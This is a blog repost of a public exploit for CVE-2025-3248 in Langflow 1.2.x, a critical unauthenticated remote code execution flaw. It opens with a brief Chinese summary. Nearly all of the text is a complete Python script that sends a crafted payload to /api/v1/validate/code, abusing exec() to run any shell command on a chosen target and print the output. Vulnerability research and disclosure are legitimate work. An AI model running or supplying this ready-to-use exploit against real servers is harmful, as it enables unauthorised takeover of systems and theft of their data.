Langflow 1.2.x 远程代码执行漏洞利用分析

本文详细分析了Langflow 1.2.x版本中存在的远程代码执行漏洞CVE-2025-3248,通过暴露的API端点/api/v1/validate/code实现无需认证的任意代码执行,包含完整的Python利用代码和技术细节。

Exploit for Langflow 1.2.x - Remote Code Execution (RCE) CVE-2025-3248

2025-07-16 | CVSS 9.8

https://sploitus.com/exploit?id=EDB-ID:52364

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python3
# Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE)
# Date: 2025-07-11
# Exploit Author: Raghad Abdallah Al-syouf
# Vendor Homepage: https://github.com/logspace-ai/langflow
# Software Link: https://github.com/logspace-ai/langflow/releases
# Version: <= 1.2.x
# Tested on: Ubuntu / Docker
# CVE: CVE-2025-3248

# Description:
#Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands.

# Usage:
#python3 cve-2025-3248.py http://target:7860 "id"

import requests
import argparse
import json
from urllib.parse import urljoin
from colorama import Fore, Style, init
import random

init(autoreset=True)
requests.packages.urllib3.disable_warnings()

BANNER_COLORS = [Fore.MAGENTA, Fore.CYAN, Fore.LIGHTBLUE_EX]

def show_banner():
    print(f"""{Style.BRIGHT}{random.choice(BANNER_COLORS)}
╔════════════════════════════════════════════════════╗
║          Langflow <= 1.2.x - CVE-2025-3248         ║
║      Remote Code Execution via exposed API         ║
║     No authentication — triggers exec() call       ║
╚════════════════════════════════════════════════════╝
       Author: Raghad Abdallah Al-syouf
{Style.RESET_ALL}""")

class LangflowRCE:
    def __init__(self, target_url, timeout=10):
        self.base_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers = {
            "User-Agent": "Langflow-RCE-Scanner",
            "Content-Type": "application/json"
        }
        self.timeout = timeout

    def run_payload(self, command):
        endpoint = urljoin(self.base_url, "/api/v1/validate/code")
        payload = {
            "code": (
                f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
            )
        }

        print(f"{Fore.YELLOW}[+] Sending crafted payload to: {endpoint}")
        try:
            response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
            print(f"{Fore.YELLOW}[+] HTTP {response.status_code}")
            if response.status_code == 200:
                try:
                    json_data = response.json()
                    err = json_data.get("function", {}).get("errors", [""])[0]
                    if isinstance(err, str) and err.startswith("b'"):
                        output = err[2:-1].encode().decode("unicode_escape").strip()
                        return output or "[!] No output returned."
                except Exception as e:
                    return f"[!] Error parsing response: {e}"
            return "[!] Target may not be vulnerable or is patched."
        except Exception as e:
            return f"[!] Request failed: {e}"

def main():
    parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x Unauthenticated RCE")
    parser.add_argument("url", help="Target URL (e.g., http://localhost:7860)")
    parser.add_argument("cmd", help="Command to execute remotely (e.g., whoami)")
    args = parser.parse_args()

    show_banner()
    exploit = LangflowRCE(args.url)
    result = exploit.run_payload(args.cmd)

    print(f"\n{Fore.GREEN}[+] Command Output:\n{Style.RESET_ALL}{result}")

if __name__ == "__main__":
    main()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计